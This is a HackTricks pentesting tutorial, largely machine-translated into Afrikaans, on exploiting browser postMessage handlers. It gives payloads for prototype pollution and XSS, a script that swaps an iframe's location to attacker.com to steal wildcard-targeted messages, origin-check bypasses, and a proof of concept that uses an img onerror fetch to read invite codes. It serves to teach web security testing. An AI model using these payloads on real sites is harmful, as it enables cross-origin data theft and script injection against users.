PostMessage Kw vulnerabilities
Reading time: 9 minutes
PostMessage Kw vulnerabilities
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Stuur PostMessage
PostMessage gebruik die volgende funksie om 'n boodskap te stuur:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Let wel dat targetOrigin 'n '*' of 'n URL soos https://company.com. kan wees.
In die tweede scenario kan die boodskap slegs na daardie domein gestuur word (selfs al is die oorsprong van die venster objek anders).
As die wildcard gebruik word, kan boodskappe na enige domein gestuur word, en sal dit na die oorsprong van die Window objek gestuur word.
Aanval op iframe & wildcard in targetOrigin
Soos verduidelik in hierdie verslag, as jy 'n bladsy vind wat iframed kan word (geen X-Frame-Header
beskerming nie) en wat sensitiewe boodskap via postMessage stuur met 'n wildcard (*), kan jy die oorsprong van die iframe wysig en die sensitiewe boodskap na 'n domein wat deur jou beheer word lek.
Let wel dat as die bladsy iframed kan word, maar die targetOrigin op 'n URL en nie op 'n wildcard gestel is nie, hierdie truuk sal nie werk.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener uitbuiting
addEventListener
is die funksie wat deur JS gebruik word om die funksie te verklaar wat postMessages
verwag.
'n Kode soortgelyk aan die volgende een sal gebruik word:
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
Let wel in hierdie geval hoe die eerste ding wat die kode doen is om die oorsprong te kontroleer. Dit is vreeslik belangrik veral as die bladsy enigiets sensitiefs met die ontvangde inligting gaan doen (soos om 'n wagwoord te verander). As dit nie die oorsprong kontroleer nie, kan aanvallers slagoffers dwing om arbitrêre data na hierdie eindpunte te stuur en die slagoffers se wagwoorde te verander (in hierdie voorbeeld).
Enumerasie
Om gebeurtenisluisteraars in die huidige bladsy te vind kan jy:
- Soek die JS-kode vir
window.addEventListener
en$(window).on
(JQuery weergawe) - Voer in die ontwikkelaarstoepassingskonsol uit:
getEventListeners(window)
- Gaan na Elements --> Event Listeners in die ontwikkelaarstoepassings van die blaaier
- Gebruik 'n blaaier uitbreiding soos https://github.com/benso-io/posta of https://github.com/fransr/postMessage-tracker. Hierdie blaaier uitbreidings sal alle boodskappe onderskep en dit aan jou wys.
Oorsprong kontroleer omseilings
event.isTrusted
attribuut word as veilig beskou aangesien ditTrue
slegs teruggee vir gebeurtenisse wat deur werklike gebruikersaksies gegenereer word. Alhoewel dit uitdagend is om te omseil as dit korrek geïmplementeer is, is die belangrikheid daarvan in sekuriteitskontroles noemenswaardig.- Die gebruik van
indexOf()
vir oorsprong validasie in PostMessage gebeurtenisse mag vatbaar wees vir omseiling. 'n Voorbeeld wat hierdie kwesbaarheid illustreer is:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
- Die
search()
metode vanString.prototype.search()
is bedoel vir gereelde uitdrukkings, nie stringe nie. Om enigiets anders as 'n regexp deur te gee lei tot implisiete omskakeling na regex, wat die metode potensieel onveilig maak. Dit is omdat in regex, 'n punt (.) as 'n wildcard optree, wat omseiling van validasie met spesiaal saamgestelde domeine moontlik maak. Byvoorbeeld:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
Die
match()
funksie, soortgelyk aansearch()
, verwerk regex. As die regex verkeerd gestruktureer is, mag dit vatbaar wees vir omseiling. -
Die
escapeHtml
funksie is bedoel om insette te saniteer deur karakters te ontsnap. Dit skep egter nie 'n nuwe ontsnapte objek nie, maar oorskryf die eienskappe van die bestaande objek. Hierdie gedrag kan uitgebuit word. Veral, as 'n objek gemanipuleer kan word sodat sy beheerde eienskap niehasOwnProperty
erken nie, sal dieescapeHtml
nie soos verwag werk nie. Dit word in die voorbeelde hieronder gedemonstreer: -
Verwachte Faal:
result = u({
message: "'\"<b>\\",
})
result.message // "'"<b>\"
- Omseiling van die ontsnapping:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
In die konteks van hierdie kwesbaarheid, is die File
objek merkwaardig uitbuitbaar weens sy leesbare name
eienskap. Hierdie eienskap, wanneer in sjablone gebruik, word nie gesaniteer deur die escapeHtml
funksie nie, wat lei tot potensiële sekuriteitsrisiko's.
- Die
document.domain
eienskap in JavaScript kan deur 'n skrif gestel word om die domein te verkort, wat 'n meer ontspanne same oorsprong beleid afdwinging binne die selfde ouerdomein moontlik maak.
e.origin == window.origin omseiling
Wanneer 'n webblad binne 'n sandboxed iframe ingebed word met %%%%%%, is dit belangrik om te verstaan dat die iframe se oorsprong op null gestel sal word. Dit is veral belangrik wanneer daar met sandbox eienskappe en hul implikasies op sekuriteit en funksionaliteit gewerk word.
Deur allow-popups
in die sandbox eienskap spesifiek te maak, erf enige pop-up venster wat vanuit die iframe geopen word die sandbox beperkings van sy ouer. Dit beteken dat tensy die allow-popups-to-escape-sandbox
eienskap ook ingesluit is, die pop-up venster se oorsprong ook op null
gestel word, wat ooreenstem met die iframe se oorsprong.
Gevolglik, wanneer 'n pop-up onder hierdie omstandighede geopen word en 'n boodskap van die iframe na die pop-up gestuur word met postMessage
, het beide die sending en ontvangende kante hul oorsprong op null
gestel. Hierdie situasie lei tot 'n scenario waar e.origin == window.origin
waar is (null == null
), omdat beide die iframe en die pop-up die selfde oorsprong waarde van null
deel.
Vir meer inligting lees:
Bypassing SOP with Iframes - 1
Omseiling van e.source
Dit is moontlik om te kontroleer of die boodskap van dieselfde venster kom waar die skrif luister (spesiaal interessant vir Inhoud Skrifte van blaaier uitbreidings om te kontroleer of die boodskap van dieselfde bladsy gestuur is):
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}
U kan e.source
van 'n boodskap dwing om null te wees deur 'n iframe te skep wat die postMessage stuur en onmiddellik verwyder word.
Vir meer inligting lees:
Bypassing SOP with Iframes - 2
X-Frame-Header omseiling
Om hierdie aanvalle uit te voer, sal u idealiter in staat wees om die slagoffer webblad binne 'n iframe
te plaas. Maar sommige headers soos X-Frame-Header
kan daardie gedrag voorkom.
In daardie scenario's kan u steeds 'n minder stealthy aanval gebruik. U kan 'n nuwe oortjie oopmaak na die kwesbare webtoepassing en daarmee kommunikeer:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Stealing message sent to child by blocking the main page
In the following page you can see how you could steal a sensitive postmessage data sent to a child iframe by blocking the main page before sending the data and abusing a XSS in the child to leak the data before it's received:
Blocking main page to steal postmessage
Stealing message by modifying iframe location
If you can iframe a webpage without X-Frame-Header that contains another iframe, you can change the location of that child iframe, so if it's receiving a postmessage sent using a wildcard, an attacker could change that iframe origin to a page controlled by him and steal the message:
Steal postmessage modifying iframe location
postMessage to Prototype Pollution and/or XSS
In scenarios where the data sent through postMessage
is executed by JS, you can iframe the page and exploit the prototype pollution/XSS sending the exploit via postMessage
.
A couple of very good explained XSS though postMessage
can be found in https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Example of an exploit to abuse Prototype Pollution and then XSS through a postMessage
to an iframe
:
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
Vir meer inligting:
- Skakel na bladsy oor prototype besoedeling
- Skakel na bladsy oor XSS
- Skakel na bladsy oor kliëntkant prototype besoedeling na XSS
Verwysings
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Om te oefen: https://github.com/yavolo/eventlistener-xss-recon
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.